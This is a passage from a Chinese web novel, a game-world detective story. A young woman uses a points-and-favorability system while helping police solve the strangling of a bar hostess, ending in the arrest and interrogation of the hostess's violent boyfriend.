被平放在塑料薄膜上的死者是个二十多岁的女孩,一头红色的长发格外显眼,扭曲、肿胀的脸上还画着夸张的大浓妆。她身穿一件低胸紧身的银色亮片连衣裙和一双黑色丝袜,胸口一朵红色的玫瑰花纹身格外显眼。
“好久不见,祝小姐。”
温珣一如既往地无视了程述,跟祝好打了个招呼后,对着法医助理比了个手势,助理点点头,掏出笔记本做好记录的准备。
“死者为女性,身高一米六左右,年龄在二十至二十五岁之间,初步推断死亡时间是八九个小时之前,也就是昨天晚上到九点到十点之间。”
他轻轻抬起死者的头颅,拨开她红色的长发,观察着她的颈部。将她放平后,又翻开她的眼皮仔细察看:“死者颈部有明显的索沟,受力均匀,在后颈处呈交叉状,眼睑结膜上有点状出血,初步断定死因是机械性窒息。”
“另外死者的四肢和面部有多处淤青和擦伤,手臂外侧有大量抵抗伤,说明死前应该遭到过殴打。”说着抓起她的手,仔细观察纤长的手指上镶着水钻的美甲,“运气好的话,应该能从她指甲缝里提取到凶手的DNA。”
程述一心二用,边听着温珣的分析,边戴上手套,在敞开的行李箱里翻找。片刻后,他从行李箱的夹层中抽出一张卡片。
卡片的印刷十分粗糙,上面是个穿着性感的兔女郎,旁边还有几个显眼的彩色大字:“天上人间,魅享PARTY”。
第60章
“经过DNA比对,死者名为姚雨欣,25岁,农村户口,家里父母务农,还有一个正在读大一的弟弟。她三年前来到淮江市,是‘魅享party’娱|乐城的陪酒小姐……”
警局会议室里,一名警员用激光笔指着白板上姚雨欣的照片,正在做案情讲解。
魅享party?这个名字听着有些耳熟。
祝好拿着那张卡片的照片看了又看,才记起来之前跟程述去找那个叫李福满的药贩子时,就是在这家KTV。
会议桌后排的两个警察用文件夹遮住脸,凑在一块儿窃窃私语,声音飘到祝好耳朵里。
“诶,你有没有觉得最近咱们淮江市不太平啊,案子一起接一起。”
“对啊,怕不是死神来了吧?”
死神本人——坐在他们附近的祝好莫名有些汗流浃背,偷偷唤出系统,问道:“喂,这些案子都是因为我出现的吗?”
毕竟她的任务之一是破案,如果没有她,那么这些案子是不是就不会发生?
系统回答:“宿主,在这个时空里,这些案子发生的时间视您完成剧情任务的进度而定,但是无论如何,它们都必然会发生,而且您也一定有机会参与其中。”
按进度而定?祝好琢磨着它的意思:“也就是说,如果有一段剧情我一直不完成,那下一段剧情是不是就不会发生、也就不会有人被伤害了?”
“宿主,换个角度想,如果一
起案子一直不解决,那受害者就永远等不到真相了。”
说得也是,祝好没再纠结这个问题,抽回神思,继续听案情讲解。
“……经过走访调查,姚雨欣昨天晚上本来应该9点到娱|乐城打卡的,但一直没出现,领班给她打了几个电话也无人接听。”
警员说完,将目光投向秦聿风。秦聿风嗯了一声,问道:“堪察组来说一下,抛尸现场有什么发现?”
堪察组的警员把几张照片发到众人手中:“发现尸体的河堤十分偏僻,那座桥本来是附近村镇通往淮江市的必经之路,自从修建了公路之后,就很少有人从这里经过了,已经荒废了五六年。”
“我们在凶手抛尸用的行李箱表面发现多处划痕,四个万向轮上也有大量泥沙,说明凶手是把车停在桥上之后,将行李箱拖到芦苇丛中抛弃的。另外,在行李箱上提取到几枚指纹,但是没有在数据库中找到匹配的人。”
秦聿风点点头,对温珣打了个手势:“温主任,你来说一下初步的尸检结果。”
温珣双手撑着扶手,从靠椅上站起来,把几张照片贴在白板中间,接过警员手中的激光笔:“死者的死亡时间在昨天晚上10点左右,她的颈部有一圈水平环绕的索沟,深度均匀,在后颈处交叉,索沟表面有皮下出血的症状,甲状软骨骨折,面部肿胀,眼睑有明显出血点,可以断定死因是被人从身后勒住颈部造成机械性窒息。”
“死者的面部和四肢、躯干均有大量淤青和擦伤,其中手臂上的伤比较重,说明她在死前遭到过暴力殴打,也曾作出过抵抗,但最后还是被凶手给勒死了。另外,我们在死者的指甲缝里提取到少量皮屑,推测是在反抗过程中抓伤凶手后留下的,DNA样本已经送去做比对了。”
秦聿风拿着照片对比了一下:“环状的索沟从前至后越来越偏上,说明凶手的身高应该比死者要高。”
温珣推了推眼镜,补充道:“也有可能凶手是在她蹲着或坐着的时候将她勒死的。”
秦聿风点点头,抬眼环视了会议室一圈,目光定格在程述身上:“老程,你有什么看法吗?”
程述低头翻看文件夹里现场勘查的照片,漫不经心地转动着手中的笔,突然问:“报案人是谁?”
这个问题问得有些跳跃,所有人皆是愣了一下。
死者的身份已经查明,接下来只要调查清楚她被害前的行踪以及她的社会关系,排查近期跟她有过矛盾的人,再与采集到的生物信息样本做对比,不出意外很快就能找到凶手。
这种时候,为什么还要纠结报案人是谁这个无关紧要的问题?
负责案情讲解的警员看向秦聿风,见他点头示意,才翻动手里的资料,回答道:“根据派出所的记录,报案人是名女性,于早上七点钟左右打的报警电话。”
程述又问:“她人呢?”
“报案人只说了在桥洞下发现尸体就挂断了,接警的村镇派出所也就不到十号人,平时处理过最大的案子也就是两户人家为了争地打架,一开始还以为是什么恶作剧,结果派了两个人去看,在那儿找了半天,才发现芦苇丛里真的有个大号行李箱。不过根据现场记录,他们并没有见到报案人本人。”
程述说:“查一下那个报案的号码。”
警员对他这副带着命令的口吻略有不爽,语气也不太友好:“有什么必要吗?”
程述手撑着额角瞥了他一眼,淡淡地问了一句:“你为什么会觉得没有必要?”
“报案人是名女性,或许是看到尸体太害怕、或者担心凶手报复才选择匿名报警,这样的情况并不少见。”
程述向后一靠,似笑非笑:“确实不少见,不过在电话里报案人说的是‘发现一具尸体’,她怎么就那么确定箱子里装的是尸体呢?”
另一名警员接过话茬:“不是有句话嘛,如果在野外发现行李箱,里面装的不是人民币就是人民。”
话刚落音,会议室里响起一阵稀稀拉拉的哄笑。
这种场合,祝好不好发表意见,只是默默地坐在角落里听他们争论,突然听到秦聿风叫她的名字:“祝小姐,你觉得呢?”
此起彼伏的讨论和笑声戛然而止,几十双眼睛齐刷刷看向祝好,目光中带着不解和疑惑,甚至夹带着一丝戏谑,似乎是想不明白为什么秦聿风会询问一个编外人员的见解。
出入警局的时间多了,其实祝好也认得警局、特别是刑警队的大部分人,但这些人对她和程述大多保持着虚伪的客套,并没有太过热情。
一方面当然是因为程述那人尽皆知的臭脾气,另一方面,在他们眼里,程述只不过是个编外人员,根本不是正儿八经的警察——就算是,那也是好几年前的事了。祝好更不用说了,只不过是编外人员身边不起眼的小跟班、看到尸体还忍不住干呕的“关系户”。
别说他们,祝好也想不明白秦聿风为什么会让自己发表意见,但是身处目光中心的她扫视着那一张张傲慢的面孔,心里憋了一团气,总觉得自己应该当一回爽文女主。
她翻开文件夹,稍一沉思,不疾不徐道:“我也觉得有必要调查报案人的信息。”
秦聿风饶有兴趣地“哦?”了一声,示意她继续。
“刚才也说了,这座桥位置很偏僻,距离最近的村子也有十几公里,平时鲜少有人经过,而箱子被丢弃的地方有大片的芦苇丛,连派出所的民警都找了挺久才发现。按理来说,箱子应该没那么容易被报案人发现才对。”
秦聿风看着她:“你的意思是,报案的人有嫌疑?”
祝好不敢妄下定论,只是如实说出自己的看法:“根据温主任的尸检结果,死者的死亡时间在昨晚10点左右,而从市区到抛尸地点大概需要四十分钟车程。也就是说,加上把尸体装进行李箱、再拖上车的时间,凶手至少要11点半之后才能完成抛尸。”
“报案人报案的时间是早上7点钟,当时天才刚蒙蒙亮,距离凶手抛尸的时间也不过才七个小时左右,能在那么短的时间内发现被扔在桥洞下的行李箱,未免太过凑巧了。我不能确定报案人有没有嫌疑,但她或许目睹了凶手抛尸的过程,才能准确地知道具体位置,所以找到她,应该能获得一些线索。”
她刚一收声,会议室里就陷入了沉默。
秦聿风等了片刻,见没人说话,叩了叩桌子问道:“还有人有其他意见吗?”
警员们隐晦地交换着眼神,都只是稍稍调整了一下坐姿,假意翻看文件,过了一会儿才陆陆续续摇头。
靠!难怪大家都喜欢看爽文呢,原来这就是打脸的快乐!
秦聿风看向祝好,抿嘴对她笑了笑。
系统响起提示音:“与秦聿风的好感度+5,获得50积分。”
祝好内心暗喜,这50积分跟之前的700多比起来是寒酸了些,但总比没有好,至少在关键时候还能看看剧情回顾什么的。
会议结束前,秦聿风安排了一组人负责查看发现尸体前八小时内出城路口的所有监控,排查可疑车辆;一组人负责走访摸排姚雨欣的社会关系;还有一组人负责查明报案人的信息。
分配完任务,秦聿风合上手里的文件,对着程述一勾手:“老程,辛苦你和祝小姐跟我跑一趟,去姚雨欣家看看。”
*
魅享party娱|乐城附近有一片城中村,这里的房子连甍接栋,建得格外拥挤,房子之间大多只留着一条不超过一米宽的羊肠小道,而且里面堆满杂物。
这些房子多是自建房,最多只有六层楼,因为超过六层就必须安装电梯了。房主把每一层都分成了五六个单间,分别出租给附近的外来务工人员,争取利益最大化。
姚雨欣就住在这样的地方,房租带水电费只要一千块钱出头,她住的那间房在六楼的走廊尽头,有的人嫌晦气,不好租出去,房东就便宜了一百块钱租给了姚雨欣。
秦聿风问前来开门的房东:“她当初是一个人来签的租房合同吗?”
房东大妈在一大串钥匙里找了半天,都没找到姚雨欣房间的那一把,听他这么问,撇了撇嘴,有些不耐烦:“警察同志,我这栋房子有差不多四十户租户呢,这么多人,我哪儿记得住……哎,找到了。”
她用钥匙开了门,略带嫌弃地哀叹
一声:“唉,这个房间将来怕是更不好租出去啰。”
这个不足十平米的房间几乎见不到阳光,有一股子潮湿的霉味。房间的三分之一划分出一个卫生间和一个简易的厨房,除此之外就只有一张床、一张沙发和一个简易的衣柜。
厨房里没有锅碗瓢盆,而是放了一面小小的梳妆镜和若干廉价且颜色浮夸的化妆品,俨然被姚雨欣当成了梳妆打扮的地方。
衣柜里挂着一些乱七八糟的衣服,多是做工粗糙的蕾丝吊带短裙和情趣内衣。
祝好拉开床头柜,里面放着几个散装的避孕套和一张被揉成团的纸,她把纸展开,发现是一张药店的小票,时间是半个月之前。
秦聿风接过那张小票看了一眼:“生理盐水、纱布、烫伤膏……她是有哪儿被烫伤了吗?”
程述说:“回去让温主任检查一下就知道了。”
他们又在房间里转了一圈,这里虽然略显凌乱,但并没有发现打斗痕迹,说明不是第一案发现场。
从房间出来,穿过狭长阴暗的走廊时,秦聿风的手机响了。他接起电话听了一阵,嗯了几声后把手机放回兜里,捏了捏程述的肩膀,笑道:“技术部查了报案人的电话,是个虚拟号码,无法定位。”
又接着道:“怎么报个案还那么遮遮掩掩呢,有点儿意思啊,老程。”
程述没搭话,从鼻腔里发出一声冷哼,摆出一副“我早就说了”的表情。
走到楼梯拐角处,他们与一个染着黄头发的人擦肩而过,没走出几步,就听到身后传来一个惊喜的声音:“诶,程哥?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
60-70
第61章
程述回过头,视线在对方身上打了个转,皱了皱眉,一脸的“这家伙是谁啊”。
“我啊,您不记得我了?”黄毛激动地伸出一只手指猛戳自己的胸口,试图勾起他的回忆:“上回,满哥那台球厅,我们见过。”
程述略微思索了一下,仍是一脸茫然,祝好忍不住小声提醒他:“就是被你摁在地上揍的那个。”
黄毛连连点头,谄媚地笑道:“对对对,就是我,当时我那胳膊疼了一星期呢。”
程述哦了一声:“想起来了,你是那个刘——”
他眼珠子滴溜溜转了一圈,最后定格在黄毛满怀期待的脸上,试探道:“二狗?”
黄毛一拍大腿,纠正他:“二虎,刘二虎,猛虎下山的虎!”
“哦,刘二虎,你来这儿干嘛?”
刘二虎抬手往上一指:“我就住这儿。”
祝好顺着他的目光往上看了眼:“你住这儿?几楼?”
“五楼。”
“那你认识六楼的姚雨欣吗?”
“姚雨欣?”刘二虎挠着下巴想了想:“谁啊,不认识。”
程述向秦聿风勾了勾两只手指,秦聿风从口袋里掏出手机,打开姚雨欣的照片递给他。
刘二虎盯着照片看了一会儿,恍然道:“这不是小妖精嘛!不化妆我差点儿认不出来。她我当然认得,不仅认得,我还摸过——”
他瞥了祝好一眼,没再继续说下去。
程述把手机还给秦聿风,张开手臂把刘二虎的脑袋往胳膊里一夹,朝楼上扬了扬下巴:“走,上你那儿坐坐。”
刘二虎艰难地仰头看他,一脸为难:“我那儿?不、不好吧,我那儿乱七八糟的,还没收拾过呢。”
“乱就乱吧,我又不是去做客的。”程述用大拇指指了指秦聿风:“我这位兄弟,刑警队的,想跟你打听一下姚——小妖精的事儿。”
说完也不管刘二虎答不答应,夹着他的脑袋就往楼上走去。刘二虎挣脱不开他的钳制,只得歪着身子,艰难地跟紧他的步伐。
上了五楼,穿过同样狭长阴暗的走廊,刘二虎领着他们在一个房间前面停下,从裤兜里掏出钥匙,打开房门。
门刚推开一条缝隙,一股过期食物发酵的酸味混合着浓重的体味就迫不及待从门缝中钻出来,祝好忍不住捏紧鼻子,嫌弃地皱了皱眉。
刘二虎尴尬地干笑了一下:“我就说嘛,我这儿乱七八糟的。你们等等,我收拾一下。”
说完率先冲进屋子里,手臂一挥,把沙发上堆着的臭袜子、脏衣服和食品包装袋全都推到地上,然后用脚扒拉到角落里,又打开窗子让空气流通,这才招呼他们:“进来吧。”
程述也不客气,径直走进屋里在沙发上坐下,翘起二郎腿,从桌上拿起一本印刷劣质的色情杂志,抖掉上面的瓜子壳,随手翻看起来。
屋里能坐的地儿除了那张单人沙发外,就只剩角落里的一张床,祝好实在不想触碰床上那张包浆的床单,只好靠墙站着。
刘二虎从口袋里掏出一盒皱巴巴的盒,抖出一根递给秦聿风:“警察叔叔,抽烟。”
秦聿风摆手拒绝:“不用。”
他又把烟盒递到程述面前:“程哥,抽烟。”
程述漫不经心地翻着杂志,摇了摇头:“我不抽烟,有水吗?”
“有的有的。”
茶几底下有一大堆矿泉水瓶,刘二虎猫着腰逐个拿起来摇一摇,掂一掂,半天后才站起身,手上拿了两瓶水,又看了看面前的三个人,有些为难:“只有两瓶没开过的,不好意思啊。”
靠着程述坐在沙发扶手上的秦聿风摆了摆手:“我不喝了,你给他们吧。”
刘二虎又把水递给祝好:“嫂子,喝水。”
祝好看着他那黑黢黢的指甲缝,撇了撇嘴:“别叫我嫂子,我不是你嫂子。我不喝,你自己喝吧。”
程述倒是一点儿也不嫌弃,合上杂志扔到一边,接过水拧开瓶盖咕咚咕咚喝了几口水,才指了指那张床:“坐吧,谈事儿。”
刘二虎规规矩矩地在床边坐下,挠了挠脑袋,问道:“你们想打听啥?”
秦聿风也不绕弯子:“你跟姚雨欣很熟吗?”
“还行吧,她在那个魅享party上班,说白了就是陪酒的,小妖精是她给自己起的艺名,我跟满哥去玩的时候偶尔会点到她。”说到这里,刘二虎顿了一下,压低声音问:“她犯什么事儿了?”
程述把玩着秦聿风外套上的装饰扣,不耐烦地斜了他一眼:“这你就别管了,问什么你答什么就行。”
刘二虎耷眉臊眼地哦了一声。
秦聿风又问:“你知道她跟什么人有过矛盾吗?”
刘二虎双手撑在膝盖上,垂头回忆片刻:“矛盾……她平时说话声音很甜,人也挺温柔的,不过大概半个月前,她在娱|乐城跟人打了一架。”
“跟谁?”
“也是个陪酒女,好像还闹到了派出所。”
“因为什么原因吵的?”
刘二虎手一挥,俨然一副在夜场混迹多年的模样:“嗐,那些女的吵架还能为什么,无非就是谁抢了谁的业绩啊,谁把谁的相好给睡了之类的呗。不过要说具体原因,我还真不太清楚。”
秦聿风的手机又响了,他看了眼屏幕,对程述使了个眼色,转身开门出了走廊。
程述接着问:“你知道姚雨欣一个月大概能挣多少吗?”
刘二虎想了想,给不出确切的答案,只说:“反正不少,她长得漂亮,一个月出台十来次是没问题的,加上陪酒和客人塞给的小费,就算要给娱|乐城抽成,也能有个六七千块钱吧。”
祝好察觉到有哪里不太对,一个月挣六七千块钱不算少了,姚雨欣却住在城中村最便宜的房子里,用着廉价的化妆品,衣服也全是地摊货,那她挣来的钱都花到哪儿去了?
刘二虎说:“我有一回在楼下吃宵夜碰到过她,跟她聊了几句,她说她的的钱大部分都寄回家里了。”
“她爸妈知道她是做什么的吗?”
“怎么可能不知道,她们老家那儿做这个的人多了去了。”
祝好听得有些不是滋味:“那她们是自愿的吗?”
刘二虎夸张地“嗐”了一声:“
嫂子,你电视剧看多了吧?咱淮江市是法治社会,她们要不愿意,谁能强迫她们啊。这些女的恨不得多点客人呢,陪酒一晚上才一百,出台一次就能赚三百五百,我要是女的,我都想干这行。”
他越说越兴奋,直到祝好恶狠狠地瞪了他一眼,才讷讷地收声。
秦聿风推门走进屋里,欠身在程述耳边低语几句,程述紧皱双眉,起身走到刘二虎身边,拍了拍他的肩膀:“二狗——”
刘二虎纠正:“二虎,猛虎下山的虎。”
程述敷衍地哦了一声,自动忽略了他的话,问道:“二狗,你知道姚雨欣有个男朋友吗?”
刘二虎答得爽快又笃定:“知道,那个男的是娱|乐城里看场子的,刚来没多久,不像什么好人,看起来凶神恶煞的。有一回我听到他们在楼道里吵架来着,那男的还扇了她一耳光。”
顿了一下,又说:“有一回,满哥请我们去KTV,我正好点了她,看到她胳膊和腿上有好多淤青,像是被人打的,我猜就是那个男的干的。”
程述问:“你不英雄救美?”
他缩了缩肩膀,嘟囔道:“我、我哪儿敢啊?那男的高高壮壮,比你还高出一个头,我在他面前就跟个小鸡架子似的,一推就散架了。”
“那你知道那个男的住哪儿吗?”
刘二虎把自己胸口拍得啪啪响:“当然知道,我二狗——啊不,二虎,可是这片的包打听!他也住在这片城中村,不过在另一栋楼,离这儿大概要走十来分钟吧。”
程述露出一个友善的微笑:“方不方便带我们去看看?”
这句话看似是征求意见,实际上语气里满是不容置疑。刘二虎心虚地笑了一下,两只手指从脑门上往前一挥:“没问题,程哥。”
*
夜幕降临,城中村的道路两旁被小商小贩挤满,形成了一条了临时的夜市,空气中飘散着煎炒、油炸的香味。
为了表示友好,程述这回没把刘二虎的脑袋夹在胳膊里,而是揽着他的肩膀,带着他走在摩肩接踵的人群中。
刘二虎觉得自己倍儿有面子,脸仰得高高的,在路上逢人就浮夸地打招呼,得意地指着程述道:“我兄弟,条子,怎么样,牛逼吧?”
祝好表示十分嫌弃,后退几步跟和秦聿风并行,扯了扯他的衣服,低声问道:“秦警官,你们查到什么了吗?”
这聊到一半,突然要去找姚雨欣的男朋友,应该是警队那边掌握了什么证据。
周围的叫卖声、吆喝声不绝于耳,秦聿风不得已弯下腰,凑到祝好耳边解释:“队里调取了姚雨欣的通话记录,发现最后跟她通话的那个号码这几个月频繁给她打电话,平均一天要打五六个。但是从昨天晚上10点到现在,那个号码就一直处于关机状态,也没再给姚雨欣打过电话。”
“号码的主人叫杜俊明,经过证实,他正在和姚雨欣交往,而且还有过前科。”
之前一直保持频繁的联系,可自从姚雨欣死后,就没再给她打过电话。那只能说明,他知道姚雨欣没办法接电话了。
正思忖着,刘二虎突然顿住脚步,隔着人群一指:“喏,那辆就是小妖精那男朋友的车。”
祝好顺着他手指的方向看去,只见一辆破旧的银灰色面包车停在阴暗的巷子里,一个身形高大的男人提着一个黑色的行李袋从楼上下来,鬼鬼祟祟地左顾右盼一番后,打开后备箱,把袋子扔了进去。
程述和秦聿风互相交换了个眼神,迅速分两头绕开,朝巷子的方向摸过去。
第62章
被押回警局的杜俊明耷拉着脑袋,身上沾满泥土,还淌着油腻腻的汁水,十分埋汰,连架着他的两个警员都忍不住皱了皱眉。
秦聿风脱下满是灰尘的外套扔到一旁,指了指杜俊明吩咐道:“带他去换身衣服,然后送到审讯室去。”
想了想,又说:“再帮我定几份快餐,那一身的卤猪蹄味儿,闻了一路我都饿了。”
警员应了一声,转身压着杜俊明走了。
秦聿风低头签了两份文件,抬头时正好看到从医务室里出来的程述,走上前捏了捏他的肩膀,嘿嘿笑道:“老程,你这身手退步了啊,以前一打三都不是问题,现在二打一都光荣负伤了。”
程述抬起缠着纱布的手臂,摸了下后腰,嘶地吸了口凉气:“谁知道这孙子不讲武德,跟我来阴的,我这属于空手接白刃。再说了,你又好到哪儿去?”
秦聿风拍了拍他的后脑勺,笑道:“我怎么了,我可是一根汗毛都没伤着。”
“真没伤着?”程述打量他一眼,冷不丁抬起那只没受伤的手臂往他肩膀上来了一拳——当然,收了七八分劲儿。
“……!”秦聿风始料未及,捂着肩膀龇牙咧嘴骂了句什么:“靠,你也跟我来阴的,要是不服,改天我们到拳击馆比试比试。”
程述从鼻腔里发出一声冷哼:“还比试比试,你看我这张帅脸都被划伤了,万一以后找不到对象你们警局包分配吗?”
秦聿风当作没听到,揉着肩膀转头看向祝好,岔开话题:“祝小姐,这回多亏你急中生智拦住了那家伙,替我们拖延了时间,不然没准还让他给跑了。”
祝好衣服上也满是油星,她不好意思地挠了挠头,抿嘴笑了一下。
系统响起提示音:“与秦聿风的好感度+5,获得50积分。”
内勤组的女警员看着他们一个比一个狼狈,忍不住好奇:“秦队,到底发生什么了?”
“发生了什么?”秦聿风轻笑一下:“当时——”
当时杜俊明正把行李往面包车上装,神色十分慌张,看起来是在为了跑路做准备。
程述和秦聿风对了个眼神,从巷子两头一前一后包抄过去。
没想到杜俊明精神紧绷,但警惕性不减,在程述边打电话边“不经意”往巷子里走时,他就已经有了戒备,佯装低头捡东西,猛然从靴子里抽出一把虎爪刀,反手就往程述脖颈处划去。
一道雪亮的冷光闪过,程述下意识后退一步,刀刃贴着他的脸颊划过,留下了一道血口子。他当机立断,抬手钳住了杜俊明的手臂,屈肘狠狠地撞向他的胸口。
杜俊明闷哼一声,向后退了几步,他从小就在街头跟人干架,练就了一身野路子的格斗本领,加上身材优势,几乎从来没输过,这一点疼痛对他来说更是算不上什么。
他始终紧握住虎爪刀的刀柄,目光一凛,又一次往程述挥去。
程述矮身躲过那一刀,调整身体重心,同时迅速绕到他身侧,咬紧牙关席肘紧紧勒锁住他的脖子,
杜俊明被他勒得直翻白眼,情急之下手里的刀乱舞,把程述的手臂划出了几道口子,汩汩往外冒血。趁着程述吃痛松了些劲的空当儿,猛地擒住他的手臂来了个过肩摔,把他狠狠掼倒在地,扬起一阵烟尘。
这么一闹动静不小,周围的行人和小贩都在巷子口围成一个半圆,指指点点,驻足围观。
没等程述从地上爬起来,杜俊明就疾步冲向驾驶座,打开车门跳上了那辆面包车。
秦聿风绕了一大圈从巷子的另一头过来,本想着跟程述来个前后夹击,没想到刚赶到巷子口,就看到躺在地上的程述和启动了车子要逃的杜俊明。来不及多想,他从腰间拔下配枪,朝天空射了一枪以示警告。
听到枪声,围观的人群中爆发出一阵尖叫,紧接着如流水般迅速散开,四处奔逃。刘二虎也吓得两腿发颤,哆哆嗦嗦地扯着祝好躲到了一个卖卤猪蹄的小摊贩后面。
一切只发生在短短几分钟内,看着逐渐拉近距离的秦聿风,杜俊明知道自己没了退路,极度紧张让他几乎要失去理智,干脆一咬牙挂上档,一脚把油门踩到底,面包车顷刻间犹如一头钢铁巨兽般咆哮着朝秦聿风
扑去。
秦聿风一惊,赶紧侧身往旁边一躲,几乎与此同时,他果断抬手,往面包车的轮胎上射了两枪。
面包车旋即失去控制,瘪掉的车轮碾压着路面,发出刺耳的摩擦声。杜俊明踩下急刹的同时把方向盘向左边打死,将面包车横停在巷子里,打开车门慌不择路冲向四散的人群。
刘二虎从小摊后面探出半个脑袋,惊呼道:“卧槽,嫂子,他要跑了!”
杜俊明步履不停,城中村的路错综复杂,可藏身之处数不胜数,如果融钻进混乱的人群里,说不定还有逃脱的可能。
祝好没有思考的时间,眼睛一瞥小摊上那锅咕嘟冒泡的卤汁,在心里对摊主默念了一声抱歉后,扛起锅子就往前冲。
杜俊明边跑边慌张地向后张望,完全没注意到抬着锅迎面而来的祝好,只听“哗啦”一声,油腻滚烫还带着辣椒的卤汁泼了他一身、也溅了他一脸。他反应不及,脚底一滑,整个人翻倒在地,被烫得吱哇乱叫。
秦聿风和程述也及时追上来,这才扣住他的双手将他摁在地上,给他戴上手铐,带回了警局。
其实当时事发突然,场面极其混乱,祝好也是几乎没有经过思考就做出的举动,此刻回想起来还有些后怕。
她悄悄把被烫出一溜儿水泡的手掌心藏在身后,心想虽然刚才的行为有些冒险,不过跟秦聿风好感度又提升了一些,也算是没白忙活。
*
秦聿风倚在审讯室的桌沿上翻看着手里的资料,啧啧感慨:“赌博、打架斗殴、猥亵……你还真是战果累累啊。”
说完抬眼看着缩在审讯椅里的杜俊明,意味不明地笑了一声:“对了,现在还要加上一条袭警。杜俊明,知道我们为什么抓你吗?”
杜俊明人高马大,狭窄的审讯椅几乎要容不下他壮硕的身躯,他留着寸头,一条长长的伤疤从右边的眉尾一路延伸至下颚,就跟刘二虎描述的那样,凶神恶煞。
不过他也是个色厉内荏的主儿,刚才那一系列操作有多狠,现在就有多狼狈。
他垂着脑袋,被拷在小桌板上的双手微微颤抖:“不、不知道。”
“不知道?”秦聿风敛起笑容,抬脚往铁制的桌腿猛踹了一脚,厉声问道:“不知道你跑什么!”
杜俊明被“嘭”的一声吓得浑身一颤,薄薄的两片嘴唇翕动一下,没有说话。
秦聿风抱着双臂居高临下地看了他一会儿,拉过一张椅子,在他面前坐下,问道:“7月28号,也就是前天晚上的9点到12点,你在哪儿?”
杜俊明的喉结在粗壮的脖子上轻滚,声音很小:“在家。”
“跟谁在家?”
“自己一个人。”
他不自觉撇了撇嘴角——这是对自己的话没自信的表现。
秦聿风没有马上拆穿他,而是示意记录员把姚雨欣的照片放在桌板上:“你家楼下的监控在八点钟拍到一个女人上了楼,你看看,你认得她吗?”
杜俊明眼珠子向下一睨,视线只在照片上停留了不到一秒钟,惊恐的神色就从脸上一闪而过,随即迅速摇头否认:“不、不认得。”
“真不认得?”秦聿风欠身往前,直视着他的双眼,似笑非笑:“要不要仔细看看?”
杜俊明艰难地转动眼珠子,强迫自己又看了眼姚雨欣的照片,摇了摇头:“真不认得。”
秦聿风发出一声冷笑:“你跟她在同一个地方工作,低头不见抬头见。过去的两个月里,每天都要给她打四五个电话,还经常往她家跑,怎么这就不认得人家了?”
这句话包含了太多信息,一滴冷汗从杜俊明的额角缓缓滑落,他张了张嘴,脸色瞬间变得苍白。
秦聿风装作没看到他脸上的异样,突然起身走到审讯椅前,二话不说就动手卷他的袖子。
杜俊明挣扎了一下,下意识想要把手收回来,却被手铐牢牢铐住,完全动弹不得,只能眼睁睁看着秦聿风卷起他的衣袖,露出一截精壮黝黑的手臂,以及一道道触目惊心的抓痕。
“怎么伤的?”
“被猫抓的。”
秦聿风带着嘲讽短促地笑了一下:“是被猫抓的,还是被小妖精抓的?”
杜俊明紧紧咬着嘴唇,拼命抑制住疯狂颤抖的下颌。
秦聿风绕回审讯桌后面,抬起水杯喝了口水,语气平静:“说说吧,姚雨欣是怎么会出现在河堤上的。”
杜俊明的心理防线已经接近崩溃,他想也没想就脱口而出:“我没有杀她!不是我杀的!”
“哦?”秦聿风放下杯子,皮笑肉不笑地看了他一眼,转头问记录员:“我刚才有说姚雨欣死了吗?”
记录员配合地摇了摇头:“秦队,没有。”
“那你告诉过他吗?”
记录员还是摇头。
“这就奇怪了。”秦聿风佯装疑惑挠了挠下巴:“没人说过,你怎么就那么笃定她已经死了呢?还是说——”
他从文件里抽出一张照片扔到杜俊明面前:“监控里拍到你拖着的这个行李箱,里面装的就是姚雨欣?”
杜俊明脑门上的汗越来越多,但他仍抱着一丝侥幸心理负隅顽抗,索性闭上双眼,采取沉默的态度,仿佛只要他不开口,姚雨欣死亡的真相就永远不会被人所知。
秦聿风等了一会儿,看他一直不愿说话,用遥控器把审讯室的空调温度调到了最低,拍了拍记录员的肩膀:“算了,他要想歇着就让他多歇会儿,我的饭应该送到了,我们先去吃两口,让他一个人冷静一晚上。”
说是“冷静”,其实也是缓兵之计。虽然杜俊明的态度已经显而易见,姚雨欣的死十有八九跟他脱不了关系,但现在警方手上还没有足够的证据将他定罪。
坐在与审讯室隔着一面单向玻璃的监听室里,祝好若有所思:按照这个游戏的尿性,每个案子都恨不得来上十万八千个反转,可如果坐在审讯室里的杜俊明就是凶手,那这个案子未免也太简单了些。
难道说,系统是看之前的几个案子难度太大,大发慈悲为她降低了难度?
第63章
程述的手臂受了伤没法开车,祝好本想主动承担起司机的责任——毕竟她在穿进游戏也是考过驾照的,然而在她看着脚下三个踏板,一脸疑惑地问“这仨哪个是刹车”时,程述便一言不发地解开安全带下车,对一旁笑得前俯后仰的秦聿风道:“秦队,要不还是辛苦你帮我申请这段时间的交通补贴吧。”
坐在出租车上,祝好忍不住为自己挽尊:“我在驾校开的车就只有刹车和油门,一定是你的车太破了,什么年代了,还开手动挡。”
程述难得不用当司机,靠在座椅上闭目养神:“你懂什么,手动挡开起来才带劲儿。”
祝好白他一眼:“李砚川说要送你跑车你还不要,你就装吧你。”
程述没辩解,只是轻轻勾了下嘴角,连眼睛都懒得睁开。
祝好有点搞不懂他了,之前他被自己说服去帮李砚川的忙是因为“谁会跟钱过不去?”,现在倒好,跑车不要,委托费也不提,未免也太视金钱为粪土了吧?
难不成他也被李砚川的美色迷惑了?
回到家里,祝好先去洗了澡,冲掉了身上的卤汁味,换掉了沾满油星的衣服,整个人神清气爽,舒坦多了。
程述就没那么幸运了,虽然被刀划破的地方没有伤到肌腱,但遵循医嘱,还是要尽量少碰水,每天换药,直到伤口愈合。
祝好在沙发上逗白眼狼玩儿的时候,他洗了澡从卫生间里出来,没穿上衣,只在脖子上挂了条毛巾,裸露的后背有一大片醒目的淤青——那是白天被杜俊明给摔的,从皮肤上那星星点点的紫红色血点就看得出来,这一下摔得不轻。
“诶,老大——”祝好叫住他:“你需不需要我帮忙涂药?”
程述站定在房间门口,掂了掂手上的药酒:“好啊,那你进来吧。”说完径直回了房间。
祝好犹豫了一下,起身跟上前,白眼狼也瞅准时机屁颠屁颠从门缝中挤进去,跳到他床上得意洋洋地打了个滚。
程述拍了拍白眼狼的屁股,见它死皮赖脸没有任何要走的意思,索性随它去了。
他在床沿上坐下,拧开瓶盖把药酒递给祝好。
药酒是警局的医务室给配的,说是加
了很多种草药,对铁打损伤有奇效,就是味儿有点冲。
祝好被刺鼻的药味熏得把脸扭到一旁,她边把药酒涂在程述背上,边趁机转动眼珠子,环视着他的房间。
